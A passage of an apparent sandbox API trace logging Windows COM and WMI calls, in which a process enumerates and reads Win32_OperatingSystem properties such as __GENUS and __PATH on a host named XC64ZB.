returned 0x1 [0289.893] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b352228) returned 0x0 [0289.893] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35bd08) returned 0x0 [0289.893] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0289.913] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0289.913] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0289.913] CoTaskMemFree (pv=0x1d471830) [0289.914] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b352228) returned 0x0 [0289.914] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0289.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0289.938] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0289.942] WbemLocator:IUnknown:AddRef (This=0x1b352228) returned 0x3 [0289.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0289.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0289.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b352108) returned 0x0 [0289.943] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352108, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0289.943] WbemLocator:IUnknown:Release (This=0x1b352108) returned 0x3 [0289.943] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0289.943] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0289.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b3521f0) returned 0x0 [0289.943] WbemLocator:IRpcOptions:Query (in: This=0x1b3521f0, pPrx=0x1b352228, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0289.943] WbemLocator:IUnknown:Release (This=0x1b3521f0) returned 0x3 [0289.943] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x2 [0289.943] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0289.943] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0289.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35bd00) returned 0x0 [0289.943] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0289.943] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0289.943] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0289.943] WbemLocator:IUnknown:Release (This=0x1d475410) returned 0x2 [0289.943] SysStringLen (param_1=0x0) returned 0x0 [0289.944] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0289.944] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0289.944] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.944] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0289.944] IUnknown:AddRef (This=0x1d35bd00) returned 0x3 [0289.944] IEnumWbemClassObject:Clone (in: This=0x1d35bd00, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35c4e0) returned 0x0 [0289.962] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35c4e8) returned 0x0 [0289.962] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0289.962] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0289.962] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351388) returned 0x0 [0289.963] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35c4e8) returned 0x0 [0289.963] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0289.964] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0289.964] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0289.964] CoTaskMemFree (pv=0x1d472250) [0289.964] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351388) returned 0x0 [0289.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0289.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0289.965] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0289.966] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0289.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0289.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0289.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351268) returned 0x0 [0289.966] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0289.966] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0289.966] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0289.966] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0289.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351350) returned 0x0 [0289.966] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0289.966] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0289.966] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0289.966] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0289.966] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0289.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35c4e0) returned 0x0 [0289.967] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0289.967] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0289.967] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0289.967] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0289.967] SysStringLen (param_1=0x0) returned 0x0 [0289.967] IEnumWbemClassObject:Reset (This=0x1d35c4e0) returned 0x0 [0289.967] CoTaskMemAlloc (cb=0x8) returned 0x524820 [0289.967] IEnumWbemClassObject:Next (in: This=0x1d35c4e0, lTimeout=-1, uCount=0x1, apObjects=0x524820, puReturned=0x28cc918 | out: apObjects=0x524820*=0x1b348b00, puReturned=0x28cc918*=0x1) returned 0x0 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b348b00) returned 0x0 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0289.973] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0289.973] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b348b08) returned 0x0 [0289.973] IMarshal:GetUnmarshalClass (in: This=0x1b348b08, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0289.973] IUnknown:Release (This=0x1b348b08) returned 0x3 [0289.973] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0289.974] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0289.974] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0289.974] IUnknown:Release (This=0x1b348b00) returned 0x2 [0289.974] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0289.974] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0289.974] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b348b00) returned 0x0 [0289.974] IUnknown:AddRef (This=0x1b348b00) returned 0x4 [0289.974] IUnknown:Release (This=0x1b348b00) returned 0x3 [0289.974] IUnknown:Release (This=0x1b348b00) returned 0x2 [0289.974] CoTaskMemFree (pv=0x524820) [0289.974] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0289.974] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0289.974] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0289.974] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0289.974] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0289.974] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0289.975] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0289.975] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0289.975] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0289.975] IUnknown:Release (This=0x4b0108) returned 0x1 [0289.978] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d4971e0) returned 0x0 [0289.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d4971e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0289.978] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d4971e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3b80) returned 0x0 [0289.979] WbemDefPath:IUnknown:Release (This=0x1d4971e0) returned 0x0 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3b80) returned 0x0 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0289.979] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497420) returned 0x0 [0289.979] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0289.979] WbemDefPath:IUnknown:Release (This=0x1d497420) returned 0x3 [0289.979] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0289.979] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0289.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0289.979] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0289.979] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0289.979] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0289.980] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0289.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, 